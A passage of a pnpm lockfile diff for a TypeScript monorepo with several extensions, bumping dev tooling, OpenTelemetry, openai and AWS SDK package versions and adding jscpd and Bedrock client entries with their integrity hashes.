^14.1.2 version: 14.1.2 '@types/node': - specifier: ^25.3.3 - version: 25.3.3 + specifier: ^25.3.5 + version: 25.3.5 '@types/qrcode-terminal': specifier: ^0.12.2 version: 0.12.2 @@ -222,29 +210,32 @@ importers: specifier: ^8.18.1 version: 8.18.1 '@typescript/native-preview': - specifier: 7.0.0-dev.20260301.1 - version: 7.0.0-dev.20260301.1 + specifier: 7.0.0-dev.20260307.1 + version: 7.0.0-dev.20260307.1 '@vitest/coverage-v8': specifier: ^4.0.18 - version: 4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18) + version: 4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18) + jscpd: + specifier: 4.0.8 + version: 4.0.8 lit: specifier: ^3.3.2 version: 3.3.2 oxfmt: - specifier: 0.35.0 - version: 0.35.0 + specifier: 0.36.0 + version: 0.36.0 oxlint: - specifier: ^1.50.0 - version: 1.50.0(oxlint-tsgolint@0.15.0) + specifier: ^1.51.0 + version: 1.51.0(oxlint-tsgolint@0.16.0) oxlint-tsgolint: - specifier: ^0.15.0 - version: 0.15.0 + specifier: ^0.16.0 + version: 0.16.0 signal-utils: specifier: 0.21.1 version: 0.21.1(signal-polyfill@0.2.2) tsdown: - specifier: 0.21.0-beta.2 - version: 0.21.0-beta.2(@typescript/native-preview@7.0.0-dev.20260301.1)(typescript@5.9.3) + specifier: 0.21.0 + version: 0.21.0(@typescript/native-preview@7.0.0-dev.20260307.1)(typescript@5.9.3) tsx: specifier: ^4.21.0 version: 4.21.0 @@ -253,7 +244,7 @@ importers: version: 5.9.3 vitest: specifier: ^4.0.18 - version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) extensions/acpx: dependencies: @@ -275,32 +266,32 @@ importers: specifier: ^1.9.0 version: 1.9.0 '@opentelemetry/api-logs': - specifier: ^0.212.0 - version: 0.212.0 + specifier: ^0.213.0 + version: 0.213.0 '@opentelemetry/exporter-logs-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/exporter-metrics-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/exporter-trace-otlp-proto': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/resources': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-logs': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-metrics': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-node': - specifier: ^0.212.0 - version: 0.212.0(@opentelemetry/api@1.9.0) + specifier: ^0.213.0 + version: 0.213.0(@opentelemetry/api@1.9.0) '@opentelemetry/sdk-trace-base': - specifier: ^2.5.1 - version: 2.5.1(@opentelemetry/api@1.9.0) + specifier: ^2.6.0 + version: 2.6.0(@opentelemetry/api@1.9.0) '@opentelemetry/semantic-conventions': specifier: ^1.40.0 version: 1.40.0 @@ -415,8 +406,8 @@ importers: specifier: 0.34.48 version: 0.34.48 openai: - specifier: ^6.25.0 - version: 6.25.0(ws@8.19.0)(zod@4.3.6) + specifier: ^6.27.0 + version: 6.27.0(ws@8.19.0)(zod@4.3.6) extensions/minimax-portal-auth: {} @@ -461,17 +452,14 @@ importers: extensions/tlon: dependencies: '@tloncorp/api': - specifier: git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87 - version: git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87 + specifier: github:tloncorp/api-beta#7eede1c1a756977b09f96aa14a92e2b06318ae87 + version: https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87 '@tloncorp/tlon-skill': - specifier: 0.1.9 - version: 0.1.9 + specifier: 0.2.2 + version: 0.2.2 '@urbit/aura': specifier: ^3.0.0 version: 3.0.0 - '@urbit/http-api': - specifier: ^3.0.0 - version: 3.0.0 zod: specifier: ^4.3.6 version: 4.3.6 @@ -559,8 +547,8 @@ importers: specifier: ^3.3.2 version: 3.3.2 marked: - specifier: ^17.0.3 - version: 17.0.3 + specifier: ^17.0.4 + version: 17.0.4 signal-polyfill: specifier: ^0.2.2 version: 0.2.2 @@ -569,17 +557,17 @@ importers: version: 0.21.1(signal-polyfill@0.2.2) vite: specifier: 7.3.1 - version: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) devDependencies: '@vitest/browser-playwright': specifier: 4.0.18 - version: 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + version: 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) playwright: specifier: ^1.58.2 version: 1.58.2 vitest: specifier: 4.0.18 - version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + version: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) packages: @@ -588,6 +576,11 @@ packages: peerDependencies: zod: ^3.25.0 || ^4.0.0 + '@agentclientprotocol/sdk@0.15.0': + resolution: {integrity: sha512-TH4utu23Ix8ec34srBHmDD4p3HI0cYleS1jN9lghRczPfhFlMBNrQgZWeBBe12DWy27L11eIrtciY2MXFSEiDg==} + peerDependencies: + zod: ^3.25.0 || ^4.0.0 + '@anthropic-ai/sdk@0.73.0': resolution: {integrity: sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw==} hasBin: true @@ -628,6 +621,10 @@ packages: resolution: {integrity: sha512-wGU8uJXrPW/hZuHdPNVe1kAFIBiKcslBcoDBN0eYBzS13um8p5jJiQJ9WsD1nSpKCmyx7qZXc6xjcbIQPyOrrA==} engines: {node: '>=20.0.0'} + '@aws-sdk/client-bedrock@3.1004.0': + resolution: {integrity: sha512-JbfZSV85IL+43S7rPBmeMbvoOYXs1wmrfbEpHkDBjkvbukRQWtoetiPAXNSKDfFq1qVsoq8sWPdoerDQwlUO8w==} + engines: {node: '>=20.0.0'} + '@aws-sdk/client-s3@3.1000.0': resolution: {integrity: sha512-7kPy33qNGq3NfwHC0412T6LDK1bp4+eiPzetX0sVd9cpTSXuQDKpoOFnB0Njj6uZjJDcLS3n2OeyarwwgkQ0Ow==} engines: {node: '>=20.0.0'} @@ -636,6 +633,10 @@ packages: resolution: {integrity: sha512-AlC0oQ1/mdJ8vCIqu524j5RB7M8i8E24bbkZmya1CuiQxkY7SdIZAyw7NDNMGaNINQFq/8oGRMX0HeOfCVsl/A==} engines: {node: '>=20.0.0'} + '@aws-sdk/core@3.973.18': + resolution: {integrity: sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/crc64-nvme@3.972.3': resolution: {integrity: sha512-UExeK+EFiq5LAcbHm96CQLSia+5pvpUVSAsVApscBzayb7/6dJBJKwV4/onsk4VbWSmqxDMcfuTD+pC4RxgZHg==} engines: {node: '>=20.0.0'} @@ -644,34 +645,66 @@ packages: resolution: {integrity: sha512-6ljXKIQ22WFKyIs1jbORIkGanySBHaPPTOI4OxACP5WXgbcR0nDYfqNJfXEGwCK7IzHdNbCSFsNKKs0qCexR8Q==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-env@3.972.16': + resolution: {integrity: sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.15': resolution: {integrity: sha512-dJuSTreu/T8f24SHDNTjd7eQ4rabr0TzPh2UTCwYexQtzG3nTDKm1e5eIdhiroTMDkPEJeY+WPkA6F9wod/20A==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-http@3.972.18': + resolution: {integrity: sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.13': resolution: {integrity: sha512-JKSoGb7XeabZLBJptpqoZIFbROUIS65NuQnEHGOpuT9GuuZwag2qciKANiDLFiYk4u8nSrJC9JIOnWKVvPVjeA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-ini@3.972.17': + resolution: {integrity: sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.13': resolution: {integrity: sha512-RtYcrxdnJHKY8MFQGLltCURcjuMjnaQpAxPE6+/QEdDHHItMKZgabRe/KScX737F9vJMQsmJy9EmMOkCnoC1JQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-login@3.972.17': + resolution: {integrity: sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-node@3.972.14': resolution: {integrity: sha512-WqoC2aliIjQM/L3oFf6j+op/enT2i9Cc4UTxxMEKrJNECkq4/PlKE5BOjSYFcq6G9mz65EFbXJh7zOU4CvjSKQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-node@3.972.18': + resolution: {integrity: sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.13': resolution: {integrity: sha512-rsRG0LQA4VR+jnDyuqtXi2CePYSmfm5GNL9KxiW8DSe25YwJSr06W8TdUfONAC+rjsTI+aIH2rBGG5FjMeANrw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-process@3.972.16': + resolution: {integrity: sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.13': resolution: {integrity: sha512-fr0UU1wx8kNHDhTQBXioc/YviSW8iXuAxHvnH7eQUtn8F8o/FU3uu6EUMvAQgyvn7Ne5QFnC0Cj0BFlwCk+RFw==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-sso@3.972.17': + resolution: {integrity: sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.13': resolution: {integrity: sha512-a6iFMh1pgUH0TdcouBppLJUfPM7Yd3R9S1xFodPtCRoLqCz2RQFA3qjA8x4112PVYXEd4/pHX2eihapq39w0rA==} engines: {node: '>=20.0.0'} + '@aws-sdk/credential-provider-web-identity@3.972.17': + resolution: {integrity: sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/eventstream-handler-node@3.972.9': resolution: {integrity: sha512-mKPiiVssgFDWkAXdEDh8+wpr2pFSX/fBn2onXXnrfIAYbdZhYb4WilKbZ3SJMUnQi+Y48jZMam5J0RrgARluaA==} engines: {node: '>=20.0.0'} @@ -696,6 +729,10 @@ packages: resolution: {integrity: sha512-5XHwjPH1lHB+1q4bfC7T8Z5zZrZXfaLcjSMwTd1HPSPrCmPFMbg3UQ5vgNWcVj0xoX4HWqTGkSf2byrjlnRg5w==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-host-header@3.972.7': + resolution: {integrity: sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-location-constraint@3.972.6': resolution: {integrity: sha512-XdZ2TLwyj3Am6kvUc67vquQvs6+D8npXvXgyEUJAdkUDx5oMFJKOqpK+UpJhVDsEL068WAJl2NEGzbSik7dGJQ==} engines: {node: '>=20.0.0'} @@ -704,10 +741,18 @@ packages: resolution: {integrity: sha512-iFnaMFMQdljAPrvsCVKYltPt2j40LQqukAbXvW7v0aL5I+1GO7bZ/W8m12WxW3gwyK5p5u1WlHg8TSAizC5cZw==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-logger@3.972.7': + resolution: {integrity: sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-recursion-detection@3.972.6': resolution: {integrity: sha512-dY4v3of5EEMvik6+UDwQ96KfUFDk8m1oZDdkSc5lwi4o7rFrjnv0A+yTV+gu230iybQZnKgDLg/rt2P3H+Vscw==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-recursion-detection@3.972.7': + resolution: {integrity: sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-sdk-s3@3.972.15': resolution: {integrity: sha512-WDLgssevOU5BFx1s8jA7jj6cE5HuImz28sy9jKOaVtz0AW1lYqSzotzdyiybFaBcQTs5zxXOb2pUfyMxgEKY3Q==} engines: {node: '>=20.0.0'} @@ -720,6 +765,10 @@ packages: resolution: {integrity: sha512-ABlFVcIMmuRAwBT+8q5abAxOr7WmaINirDJBnqGY5b5jSDo00UMlg/G4a0xoAgwm6oAECeJcwkvDlxDwKf58fQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-user-agent@3.972.19': + resolution: {integrity: sha512-Km90fcXt3W/iqujHzuM6IaDkYCj73gsYufcuWXApWdzoTy6KGk8fnchAjePMARU0xegIR3K4N3yIo1vy7OVe8A==} + engines: {node: '>=20.0.0'} + '@aws-sdk/middleware-websocket@3.972.10': resolution: {integrity: sha512-uNqRpbL6djE+XXO4cQ+P8ra37cxNNBP+2IfkVOXu1xFdGMfW+uOTxBQuDPpP43i40PBRBXK5un79l/oYpbzYkA==} engines: {node: '>= 14.0.0'} @@ -728,10 +777,18 @@ packages: resolution: {integrity: sha512-AU5TY1V29xqwg/MxmA2odwysTez+ccFAhmfRJk+QZT5HNv90UTA9qKd1J9THlsQkvmH7HWTEV1lDNxkQO5PzNw==} engines: {node: '>=20.0.0'} + '@aws-sdk/nested-clients@3.996.7': + resolution: {integrity: sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg==} + engines: {node: '>=20.0.0'} + '@aws-sdk/region-config-resolver@3.972.6': resolution: {integrity: sha512-Aa5PusHLXAqLTX1UKDvI3pHQJtIsF7Q+3turCHqfz/1F61/zDMWfbTC8evjhrrYVAtz9Vsv3SJ/waSUeu7B6gw==} engines: {node: '>=20.0.0'} + '@aws-sdk/region-config-resolver@3.972.7': + resolution: {integrity: sha512-/Ev/6AI8bvt4HAAptzSjThGUMjcWaX3GX8oERkB0F0F9x2dLSBdgFDiyrRz3i0u0ZFZFQ1b28is4QhyqXTUsVA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/s3-request-presigner@3.1000.0': resolution: {integrity: sha512-DP6EbwCD0CKzBwBnT1X6STB5i+bY765CxjMbWCATDhCgOB343Q6AHM9c1S/300Uc5waXWtI/Wdeak9Ru56JOvg==} engines: {node: '>=20.0.0'} @@ -744,6 +801,10 @@ packages: resolution: {integrity: sha512-eOI+8WPtWpLdlYBGs8OCK3k5uIMUHVsNG3AFO4kaRaZcKReJ/2OO6+2O2Dd/3vTzM56kRjSKe7mBOCwa4PdYqg==} engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.1004.0': + resolution: {integrity: sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/token-providers@3.999.0': resolution: {integrity: sha512-cx0hHUlgXULfykx4rdu/ciNAJaa3AL5xz3rieCz7NKJ68MJwlj3664Y8WR5MGgxfyYJBdamnkjNSx5Kekuc0cg==} engines: {node: '>=20.0.0'} @@ -752,6 +813,10 @@ packages: resolution: {integrity: sha512-RW60aH26Bsc016Y9B98hC0Plx6fK5P2v/iQYwMzrSjiDh1qRMUCP6KrXHYEHe3uFvKiOC93Z9zk4BJsUi6Tj1Q==} engines: {node: '>=20.0.0'} + '@aws-sdk/types@3.973.5': + resolution: {integrity: sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ==} + engines: {node: '>=20.0.0'} + '@aws-sdk/util-arn-parser@3.972.2': resolution: {integrity: sha512-VkykWbqMjlSgBFDyrY3nOSqupMc6ivXuGmvci6Q3NnLq5kC+mKQe2QBZ4nrWRE/jqOxeFP2uYzLtwncYYcvQDg==} engines: {node: '>=20.0.0'} @@ -760,6 +825,10 @@ packages: resolution: {integrity: sha512-yWIQSNiCjykLL+ezN5A+DfBb1gfXTytBxm57e64lYmwxDHNmInYHRJYYRAGWG1o77vKEiWaw4ui28e3yb1k5aQ==} engines: {node: '>=20.0.0'} + '@aws-sdk/util-endpoints@3.996.4': + resolution: {integrity: sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/util-format-url@3.972.6': resolution: {integrity: sha512-0YNVNgFyziCejXJx0rzxPiD2rkxTWco4c9wiMF6n37Tb9aQvIF8+t7GyEyIFCwQHZ0VMQaAl+nCZHOYz5I5EKw==} engines: {node: '>=20.0.0'} @@ -771,6 +840,9 @@ packages: '@aws-sdk/util-user-agent-browser@3.972.6': resolution: {integrity: sha512-Fwr/llD6GOrFgQnKaI2glhohdGuBDfHfora6iG9qsBBBR8xv1SdCSwbtf5CWlUdCw5X7g76G/9Hf0Inh0EmoxA==} + '@aws-sdk/util-user-agent-browser@3.972.7': + resolution: {integrity: sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw==} + '@aws-sdk/util-user-agent-node@3.973.0': resolution: {integrity: sha512-A9J2G4Nf236e9GpaC1JnA8wRn6u6GjnOXiTwBLA6NUJhlBTIGfrTy+K1IazmF8y+4OFdW3O5TZlhyspJMqiqjA==} engines: {node: '>=20.0.0'} @@ -780,6 +852,19 @@ packages: aws-crt: optional: true + '@aws-sdk/util-user-agent-node@3.973.4': + resolution: {integrity: sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q==} + engines: {node: '>=20.0.0'} + peerDependencies: + aws-crt: '>=1.0.0' + peerDependenciesMeta: + aws-crt: + optional: true + + '@aws-sdk/xml-builder@3.972.10': + resolution: {integrity: sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA==} + engines: {node: '>=20.0.0'} + '@aws-sdk/xml-builder@3.972.8': resolution: {integrity: sha512-Ql8elcUdYCha83Ol7NznBsgN5GVZnv3vUd86fEc6waU6oUdY0T1O9NODkEEOS/Uaogr87avDrUC6DSeM4oXjZg==} engines: {node: '>=20.0.0'} @@ -808,8 +893,8 @@ packages: resolution: {integrity: sha512-CxUYSZgFiviUC3d8Hc+tT7uxre6QkPEWYEHWXmyEBzaO6tfFY4hs5KbXWU6s4q9Zv1NP/04qiR3mcujYLRuYuw==} engines: {node: '>=20'} - '@babel/generator@8.0.0-rc.1': - resolution: {integrity: sha512-3ypWOOiC4AYHKr8vYRVtWtWmyvcoItHtVqF8paFax+ydpmUdPsJpLBkBBs5ItmhdrwC3a0ZSqqFAdzls4ODP3w==} + '@babel/generator@8.0.0-rc.2': + resolution: {integrity: sha512-oCQ1IKPwkzCeJzAPb7Fv8rQ9k5+1sG8mf2uoHiMInPYvkRfrDJxbTIbH51U+jstlkghus0vAi3EBvkfvEsYNLQ==} engines: {node: ^20.19.0 || >=22.12.0} '@babel/helper-string-parser@7.27.1': @@ -824,8 +909,8 @@ packages: resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} engines: {node: '>=6.9.0'} - '@babel/helper-validator-identifier@8.0.0-rc.1': - resolution: {integrity: sha512-I4YnARytXC2RzkLNVnf5qFNFMzp679qZpmtw/V3Jt2uGnWiIxyJtaukjG7R8pSx8nG2NamICpGfljQsogj+FbQ==} + '@babel/helper-validator-identifier@8.0.0-rc.2': + resolution: {integrity: sha512-xExUBkuXWJjVuIbO7z6q7/BA9bgfJDEhVL0ggrggLMbg0IzCUWGT1hZGE8qUH7Il7/RD/a6cZ3AAFrrlp1LF/A==} engines: {node: ^20.19.0 || >=22.12.0} '@babel/parser@7.29.0': @@ -833,8 +918,8 @@ packages: engines: {node: '>=6.0.0'} hasBin: true - '@babel/parser@8.0.0-rc.1': - resolution: {integrity: sha512-6HyyU5l1yK/7h9Ki52i5h6mDAx4qJdiLQO4FdCyJNoB/gy3T3GGJdhQzzbZgvgZCugYBvwtQiWRt94QKedHnkA==} + '@babel/parser@8.0.0-rc.2': + resolution: {integrity: sha512-29AhEtcq4x8Dp3T72qvUMZHx0OMXCj4Jy/TEReQa+KWLln524Cj1fWb3QFi0l/xSpptQBR6y9RNEXuxpFvwiUQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true @@ -846,8 +931,8 @@ packages: resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} engines: {node: '>=6.9.0'} - '@babel/types@8.0.0-rc.1': - resolution: {integrity: sha512-ubmJ6TShyaD69VE9DQrlXcdkvJbmwWPB8qYj0H2kaJi29O7vJT9ajSdBd2W8CG34pwL9pYA74fi7RHC1qbLoVQ==} + '@babel/types@8.0.0-rc.2': + resolution: {integrity: sha512-91gAaWRznDwSX4E2tZ1YjBuIfnQVOFDCQ2r0Toby0gu4XEbyF623kXLMA8d4ZbCu+fINcrudkmEcwSUHgDDkNw==} engines: {node: ^20.19.0 || >=22.12.0} '@bcoe/v8-coverage@1.0.2': @@ -873,12 +958,22 @@ packages: '@clack/core@1.0.1': resolution: {integrity: sha512-WKeyK3NOBwDOzagPR5H08rFk9D/WuN705yEbuZvKqlkmoLM2woKtXb10OO2k1NoSU4SFG947i2/SCYh+2u5e4g==} + '@clack/core@1.1.0': + resolution: {integrity: sha512-SVcm4Dqm2ukn64/8Gub2wnlA5nS2iWJyCkdNHcvNHPIeBTGojpdJ+9cZKwLfmqy7irD4N5qLteSilJlE0WLAtA==} + '@clack/prompts@1.0.1': resolution: {integrity: sha512-/42G73JkuYdyWZ6m8d/CJtBrGl1Hegyc7Fy78m5Ob+jF85TOUmLR5XLce/U3LxYAw0kJ8CT5aI99RIvPHcGp/Q==} + '@clack/prompts@1.1.0': + resolution: {integrity: sha512-pkqbPGtohJAvm4Dphs2M8xE29ggupihHdy1x84HNojZuMtFsHiUlRvqD24tM2+XmI+61LlfNceM3Wr7U5QES5g==} + '@cloudflare/workers-types@4.20260120.0': resolution: {integrity: sha512-B8pueG+a5S+mdK3z8oKu1ShcxloZ7qWb68IEyLLaepvdryIbNC7JVPcY0bWsjS56UQVKc5fnyRge3yZIwc9bxw==} + '@colors/colors@1.5.0': + resolution: {integrity: sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==} + engines: {node: '>=0.1.90'} + '@cypress/request-promise@5.0.0': resolution: {integrity: sha512-eKdYVpa9cBEw2kTBlHeu1PP16Blwtum6QHg/u9s/MoHkZfuo1pRGka1VlUHXF5kdew82BvOJVVGk0x8X0nbp+w==} engines: {node: '>=0.10.0'} @@ -1316,6 +1411,21 @@ packages: '@js-sdsl/ordered-map@4.4.2': resolution: {integrity: sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==} + '@jscpd/badge-reporter@4.0.4': + resolution: {integrity: sha512-I9b4MmLXPM2vo0SxSUWnNGKcA4PjQlD3GzXvFK60z43cN/EIdLbOq3FVwCL+dg2obUqGXKIzAm7EsDFTg0D+mQ==} + + '@jscpd/core@4.0.4': + resolution: {integrity: sha512-QGMT3iXEX1fI6lgjPH+x8eyJwhwr2KkpSF5uBpjC0Z5Xloj0yFTFLtwJT+RhxP/Ob4WYrtx2jvpKB269oIwgMQ==} + + '@jscpd/finder@4.0.4': + resolution: {integrity: sha512-qVUWY7Nzuvfd5OIk+n7/5CM98LmFroLqblRXAI2gDABwZrc7qS+WH2SNr0qoUq0f4OqwM+piiwKvwL/VDNn/Cg==} + + '@jscpd/html-reporter@4.0.4': + resolution: {integrity: sha512-YiepyeYkeH74Kx59PJRdUdonznct0wHPFkf6FLQN+mCBoy6leAWCcOfHtcexnp+UsBFDlItG5nRdKrDSxSH+Kg==} + + '@jscpd/tokenizer@4.0.4': + resolution: {integrity: sha512-xxYYY/qaLah/FlwogEbGIxx9CjDO+G9E6qawcy26WwrflzJb6wsnhjwdneN6Wb0RNCDsqvzY+bzG453jsin4UQ==} + '@keyv/bigmap@1.3.1': resolution: {integrity: sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==} engines: {node: '>= 18'} @@ -1703,6 +1813,18 @@ packages: cpu: [x64] os: [win32] + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + '@nolyfill/domexception@1.0.28': resolution: {integrity: sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==} engines: {node: '>=12.4.0'} @@ -1814,166 +1936,166 